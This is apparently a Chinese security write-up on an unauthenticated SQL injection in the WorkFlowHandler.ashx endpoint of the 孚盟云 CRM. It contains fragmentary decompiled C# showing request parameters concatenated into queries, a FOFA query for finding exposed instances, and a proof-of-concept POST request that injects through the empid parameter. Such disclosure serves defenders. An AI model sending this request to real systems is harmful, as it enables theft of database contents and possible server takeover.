孚盟云CRM WorkFlowHandler.ashx SQL注入漏洞


漏洞简介

上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云WorkFlowHandler.ashx接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

app="孚盟软件-孚盟云"

漏洞分析

直接看 WorkFlowHandler.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 WorkFlowHandler 方法的实现如下

public void ProcessRequest(HttpContext context)
{
  context.Response.ContentType = "text/plain";
  string str1 = context.Request["action"];
  string str2 = string.Empty;
  try
  {
    this.EmpID = "admin";
    string str3 = "";
    string str4 = "";
    string s = str1;
    string str5;
    // ISSUE: reference to a compiler-generated method
    switch (\u003CPrivateImplementationDetails\u003E.ComputeStringHash(s))
    {
      case 80374021:
        if (string.op_Equality(s, "GetProcessOverCount"))
        {
          try
          {
            this.EmpID = context.Request["empid"].ToString();
            str2 = this._workflowManager.GetProcessOverCount(this.EmpID).ToString();
            break;
          }
          catch (Exception ex)
          {
            Helper.WriteLog($"GetProcessOverCountError:Message:{ex.Message}--StackTrace:{ex.StackTrace}", "ddSaas");
            break;
          }
        }
        else
          break;
      case 330683555:
        if (string.op_Equality(s, "SetUserSelectAreaCheck"))
        case 493346464:
  if (string.op_Equality(s, "GetPhotoUrl2"))
  {
    this.GetPhotoUrl2(context);
    break;
  }
  break;
case 524275200:
  if (string.op_Equality(s, "LoadWorkFlowListByModularID"))
  {
    Hashtable hashtable = new Hashtable();
    StringBuilder stringBuilder = new StringBuilder();
    try
    {
      DataTable dataSource = new CreatePageDao().GetDataSource($"select * from saFlow where MouldID='{context.Request["modularID"].ToString()}' and  (FlowDel is null or FlowDel = 0) ");
      if (((InternalDataCollectionBase) dataSource.Rows).Count > 0)
      case 586498900:
  if (string.op_Equality(s, "loadwf"))
  {
    string str7 = context.Request["mouldId"] == null ? "" : context.Request["mouldId"].ToString();
    if (string.op_Equality(str7, "TM012"))
    {
      this.EmpID = UserCookie.GetCookieValue("empId");
      this.EmpID = FumaCRM_BS.Utility.Encrypt.Encrypt.DesDecrypt(this.EmpID);
    }
    else
      this.EmpID = context.Request["empid"].ToString();
    string data = context.Request["fid"] == null ? "" : context.Request["fid"].ToString();
    string SQLString1 = $"SELECT * FROM saExc WHERE MouldID='{str7}' AND BillFID='{data}'";
    DataTable table1 = this.dbHelper.Query(SQLString1).Tables[0];
    case 594326419:
  if (string.op_Equality(s, "GetUserListTypeCheckMail"))
  {
    str5 = context.Request["pageName"] == null ? "" : context.Request["pageName"].ToString();
    string searchTxt = context.Request["searchTxt"] == null ? "" : context.Request["searchTxt"].ToString().Trim();
    this.EmpID = !string.op_Equality(context.Request["bindType"] == null ? "" : context.Request["bindType"].ToString().Trim(), "Mail") ? context.Request["empid"].ToString() : UserCookie.GetCookieValue("empId");
    DataTable allUserNoSysAdmin = this._workflowManager.GetAllUserNoSysAdmin(searchTxt);
    case 823771411:
  if (string.op_Equality(s, "GetProcessIngFlowCount"))
  {
    try
    {
      this.EmpID = context.Request["empid"].ToString();
      str2 = this._workflowManager.GetProcessIngCount(this.EmpID).ToString();
      break;
    }
    case 1739358926:
  if (string.op_Equality(s, "SendMessage"))
  {
    this.SendMessage(context);
    break;
  }
      case 1747886113:
  if (string.op_Equality(s, "SetUserSelectArea"))
  {
    DataTable userByEmpId = this._workflowManager.GetUserByEmpId(context.Request["delegationEmpId"] == null ? "" : context.Request["delegationEmpId"].ToString());
    StringBuilder stringBuilder = new StringBuilder();
    if (((InternalDataCollectionBase) userByEmpId.Rows).Count > 0)
    if (string.op_Equality(s, "GetAllbtns"))
{
  Helper.WriteLog("进入按钮生成方法", "ddSaas");
  string mouldId = context.Request["mouldId"] == null ? "" : context.Request["mouldId"].ToString();
  string str31 = context.Request["fid"] == null ? "" : context.Request["fid"].ToString();
  string str32 = context.Request["pid"] == null ? "" : context.Request["pid"].ToString();
  string str33 = context.Request["nodeid"] == null ? "" : context.Request["nodeid"].ToString();
  string data = context.Request["billNo"] == null ? "" : context.Request["billNo"].ToString();
  string str34 = context.Request["FlowFID"] == null ? "" : context.Request["FlowFID"].ToString();
  if (string.op_Equality(mouldId, "TM012"))
  {
    this.EmpID = UserCookie.GetCookieValue("empId");
    this.EmpID = FumaCRM_BS.Utility.Encrypt.Encrypt.DesDecrypt(this.EmpID);
  }
  else
  {
    this.EmpID = context.Request["empid"].ToString();
    data = Base64.base64Decode(data);
  }
  Helper.WriteLog("EmpID:" + this.EmpID, "ddSaas");
  bool btnSubmit = false;
  bool btnAudit = false;
  bool btnError = false;
  bool btnIsAdd = false;
  bool btnIsOther = false;
  bool btnIsBack = false;
  bool btnIsFast = false;
  string SQLString = $"SELECT * FROM saExc WHERE MouldID='{mouldId}' AND BillFID='{str31}'";
  if (string.op_Equality(s, "savenotice"))
{
  string str36 = new WorkFlowManager().SaveNoticeClick(context.Request["ABillFID"].ToString(), context.Request["FlowFID"] == null ? 0 : int.Parse(context.Request["FlowFID"].ToString()));
  context.Response.Write(str36);
  break;
}
break;
if (string.op_Equality(s, "ProcessMyCount"))
{
  try
  {
    this.EmpID = context.Request["empid"].ToString();
    str2 = this._workflowManager.GetProcessMyCount(this.EmpID).ToString();
    break;
  }
  if (string.op_Equality(s, "WorkFlow"))
{
  string ALoginName = context.Request["empid"].ToString();
  string AMouldID = context.Request["modularID"].ToString();
  string str37 = context.Request["orderFID"].ToString();
  if (new WorkFlowManager().IsStartFlow(AMouldID))
  {
    bool flag = new WorkFlowManager().LeaderCanFlow(AMouldID, Convert.ToInt32(str37), ALoginName);
    if (((InternalDataCollectionBase) new CreatePageDao().GetDataSource($"select * from saExc where BillFID='{str37}' and MouldID='{AMouldID}'").Rows).Count <= 0)
    {
    if (string.op_Equality(s, "GetUserList"))
{
  str5 = context.Request["pageName"] == null ? "" : context.Request["pageName"].ToString();
  string searchTxt = context.Request["searchTxt"] == null ? "" : context.Request["searchTxt"].ToString().Trim();
  string str38 = context.Request["bindType"] == null ? "" : context.Request["bindType"].ToString().Trim();
  this.EmpID = !string.op_Equality(str38, "Mail") ? context.Request["empid"].ToString() : UserCookie.GetCookieValue("empId");
  DataTable allUserNoSysAdmin = this._workflowManager.GetAllUserNoSysAdmin(searchTxt);
  if (string.op_Equality(s, "ProcessEndCount"))
{
  try
  {
    this.EmpID = context.Request["empid"].ToString();
    str2 = this._workflowManager.GetProcessEndCount(this.EmpID).ToString();
    break;
  }
  if (string.op_Equality(s, "GetAvailableProcessSendBtn"))
{
  str2 = this.GetAvailableProcessSendBtn(context);
  break;
}
if (string.op_Equality(s, "IsAutoAudit"))
{
  string AMouldID = context.Request["AMouldID"].ToString();
  string ABillFID = context.Request["ABillFID"].ToString();
  int int32 = Convert.ToInt32(context.Request["ABtnType"]);
  bool IsPerAgree4 = false;
  string PerAgree4SendMessageEmpId = "";
  string str93 = new WorkFlowManager().WorkFlowAutoAudit(AMouldID, ABillFID, int32, out IsPerAgree4, out PerAgree4SendMessageEmpId);
  context.Response.Write(str93);
  if (string.op_Equality(s, "IsCurrStepEmp"))
{
  str2 = this.IsCurrStepEmp(context);
  break;
}
if (string.op_Equality(s, "GetDingJsText"))
{
  str2 = this.GetDingJsText(context);
  break;
}
break;

下面是各个涉及的方法

public DataTable GetAllUserNoSysAdmin(string searchTxt)
{
  string SQLString = " SELECT b.empid,b.CNEmpName,b.Dingding\r\n         FROM [bfEMP] b where    b.empid != 'sysadmin'";
  if (string.op_Inequality(searchTxt, ""))
    SQLString = $"{SQLString} and b.CNEmpName like '{searchTxt}%'";
  return this.dbHelper.Query(SQLString).Tables[0];
}
public int GetProcessIngCount(string empId)
{
  return Convert.ToInt32(this.dbHelper.GetSingle($" SELECT  COUNT(A.FID)\r\n      FROM saExc A\r\n      WHERE A.FlowExcOk = 0  AND ISNULL(A.BillDelState, 0)= 0 AND(A.MouldID = '' OR '' IS NULL OR '' = '')\r\n        AND EXISTS(SELECT B.FID FROM saExcEmp B  WHERE B.ExcFID = A.FID  AND B.EmpID = '{empId}' AND B.EmpState <> 2 AND(B.CurrStep IN(SELECT D.CurrStep FROM saExcCurrStep D WHERE D.ExcFID = A.FID)))") ?? (object) "");
}
public void SendMessage(HttpContext context)
{
  Helper.WriteLog("SendMessage 进入方法", "ddSaas");
  string ddCorpId = ConfigurationManager.AppSettings["corpId"].ToString();
  string agentId = new SaasManager().GetAgentId(ddCorpId, EnumParser.GetFiledValue((object) PrivateAppId.业务看板));
  int num = int.Parse(context.Request["auditState"].ToString());
  string mouldID = context.Request["AMouldID"].ToString();
  string str1 = context.Request["ABillFID"].ToString();
  string str2 = context.Request["billNo"].ToString();
  string str3 = context.Request["FlowFID"].ToString();
  string empIds = context.Request["sendUserId"].ToString();
  string str4 = context.Request["msgStr"].ToString();
  string str5 = context.Request["flowTitle"].ToString();
  string sendDingDingUserIds = this.GetSendDingDingUserIds(empIds);
  string str6 = "1";
  if (num == 2)
    str6 = "0";
  string str7 = !HttpContext.Current.Request.Url.ToString().Contains("yun.fumasoft.com") ? $"https://{ddCorpId}.fumasoft.com" : "https://yun.fumasoft.com" + HttpContext.Current.Request.RawUrl;
  if (string.op_Equality(mouldID, "TM012"))
  {
    agentId = new SaasManager().GetAgentId(ddCorpId, EnumParser.GetFiledValue((object) PrivateAppId.孚盟邮));
    string SQLString = "select uml.FID as userMailId,ml.FID as mailId,ml.subject,uml.MailType,uml.MailBox,uml.MailDate,uml.ownerID  from  tmUserMailList uml,tmMailList ml where uml.MID = ml.FID and uml.fid = " + str1;
    Helper.WriteLog("GetProcessIngFlowList Link TM012 Sql:" + SQLString, "ddSaas");
public DataTable GetUserByEmpId(string empId)
{
  return this.dbHelper.Query($" SELECT *\r\n         FROM [bfEMP] b where  b.empid ='{empId}'").Tables[0];
}
public int GetProcessMyCount(string empId)
{
  return Convert.ToInt32(this.dbHelper.GetSingle($"SELECT  COUNT(A.FID) FROM saExc A where  A.CreateEmp = '{empId}' AND A.FlowExcOk=0 AND ISNULL(A.BillDelState,0)= 0 ") ?? (object) "");
}
public int GetProcessENDCount(string empId)
{
  int processEndCount = 0;
  DataSet dataSet = this.dbHelper.Query($"SELECT COUNT(*) FROM saExc A WHERE A.FlowExcOk=1 AND ISNULL(A.BillDelState,0)=0 AND EXISTS(SELECT 1 FROM saHisExcEmp B WHERE B.EmpID = '{empId}' AND B.ExcFID = A.FID) AND NOT EXISTS(SELECT 1 FROM saHisExcEmp B WHERE B.ExcFID = A.FID AND(B.EmpAction = 8 OR B.EmpAction = 9))      union   SELECT COUNT(*)FROM saHisExc A WHERE A.FlowExcOk=1 AND ISNULL(A.BillDelState,0)=0 AND EXISTS(SELECT 1 FROM saHisExcEmp B WHERE B.EmpID = '{empId}' AND B.ExcFID = A.FID) AND NOT EXISTS(SELECT 1 FROM saHisExcEmp B WHERE B.ExcFID = A.FID AND(B.EmpAction = 8 OR B.EmpAction = 9))");
  if (dataSet != null && ((InternalDataCollectionBase) dataSet.Tables[0].Rows).Count > 1)
private string GetAvailableProcessSendBtn(HttpContext context)
{
  StringBuilder stringBuilder = new StringBuilder();
  DataTable dataSource = new CreatePageDao().GetDataSource($"select * from saFlow where MouldID='{context.Request["AMouldID"].ToString()}' AND FlowAction=0 and  (FlowDel is null or FlowDel = 0) ");
public string WorkFlowAutoAudit(
  string AMouldID,
  string ABillFID,
  int ABtnType,
  out bool IsPerAgree4,
  out string PerAgree4SendMessageEmpId)
{
  DataSet ds1 = (DataSet) null;
  DataSet ds2 = (DataSet) null;
  DataSet ds3 = (DataSet) null;
  DataSet ds4 = (DataSet) null;
  DataSet ds5 = (DataSet) null;
  int num1 = 0;
  int num2 = 0;
  IsPerAgree4 = false;
  PerAgree4SendMessageEmpId = "";
  try
  {
    this.GetDataSet($"SELECT {WorkFlowDao.saExc} FROM saExc WHERE MouldID='{AMouldID}' AND BillFID='{ABillFID}' AND FlowExcOk=0 ", ref ds5);
private string IsCurrStepEmp(HttpContext context)
{
  try
  {
  }
  catch (Exception ex)
  {
    throw;
  }
  string str1 = context.Request["AMouldID"] == null ? "" : context.Request["AMouldID"].ToString();
  string str2 = context.Request["ABillFID"] == null ? "" : context.Request["ABillFID"].ToString();
  string str3 = "1";
  if (string.op_Equality(str1, "TM012"))
  {
    this.EmpID = UserCookie.GetCookieValue("empId");
    this.EmpID = FumaCRM_BS.Utility.Encrypt.Encrypt.DesDecrypt(this.EmpID);
  }
  else
    this.EmpID = context.Request["empid"].ToString();
  Helper.WriteLog("进入IsCurrStepEmp方法", "ddSaas");
  DataTable table1 = this.dbHelper.Query($"select top 1 * from dbo.saExc where mouldid = '{str1}' and BillFID = {str2}").Tables[0];
private string GetDingJsText(HttpContext context)
{
  Helper.WriteLog("进入GetDingJsText方法", "ddSaas");
  string str1 = context.Request["mouldId"] == null ? "" : context.Request["mouldId"].ToString();
  string str2 = context.Request["fid"] == null ? "" : context.Request["fid"].ToString();
  string str3 = context.Request["billNo"] == null ? "" : context.Request["billNo"].ToString();
  string str4 = context.Request["FlowFID"] == null ? "" : context.Request["FlowFID"].ToString();
  if (string.op_Equality(str1, "TM012"))
  {
    this.EmpID = UserCookie.GetCookieValue("empId");
    this.EmpID = FumaCRM_BS.Utility.Encrypt.Encrypt.DesDecrypt(this.EmpID);
  }
  else
    this.EmpID = context.Request["empid"].ToString();
  Helper.WriteLog("EmpID:" + this.EmpID, "ddSaas");
  string SQLString1 = $"SELECT * FROM saExc WHERE MouldID='{str1}' AND BillFID='{str2}'";
  DataTable table1 = this.dbHelper.Query(SQLString1).Tables[0];

当action=GetProcessOverCount时,进入GetProcessOverCount方法

public int GetProcessOverCount(string empId)
{
  return Convert.ToInt32(this.dbHelper.GetSingle($" SELECT  COUNT(A.FID)   FROM saExc A where ((A.FlowExcOk = 0 AND ISNULL(A.BillDelState, 0) = 0 AND EXISTS(SELECT FID FROM saExcEmp B WHERE B.ExcFID = A.FID AND B.EmpID = '{empId}' AND B.EmpState = 2  AND(SELECT C.StepType FROM saStep C WHERE B.CurrStep = C.FID) <> 0)   AND NOT EXISTS(SELECT FID FROM saExcEmp B WHERE B.ExcFID = A.FID AND B.EmpID = '{empId}' AND(B.EmpState = 0 or B.EmpState = 1))))") ?? (object) "");
}

可以发现empid参数是被直接拼接进SQL语句,从而导致SQL注入漏洞。

漏洞复现

POST /m/Dingding/Ajax/WorkFlowHandler.ashx HTTP/1.1
Host: fumacrm.mrxn.net
Cookie: UserCookie={"empId":"1","corpId": "1"}
Content-Type: application/x-www-form-urlencoded

action=GetProcessOverCount&empid=admin')))SQLI_POC-- -


手机扫码阅读

孚盟云CRM AddInquiry.aspx SQL注入漏洞

孚盟云CRM PriceList.ashx SQL注入漏洞

评 论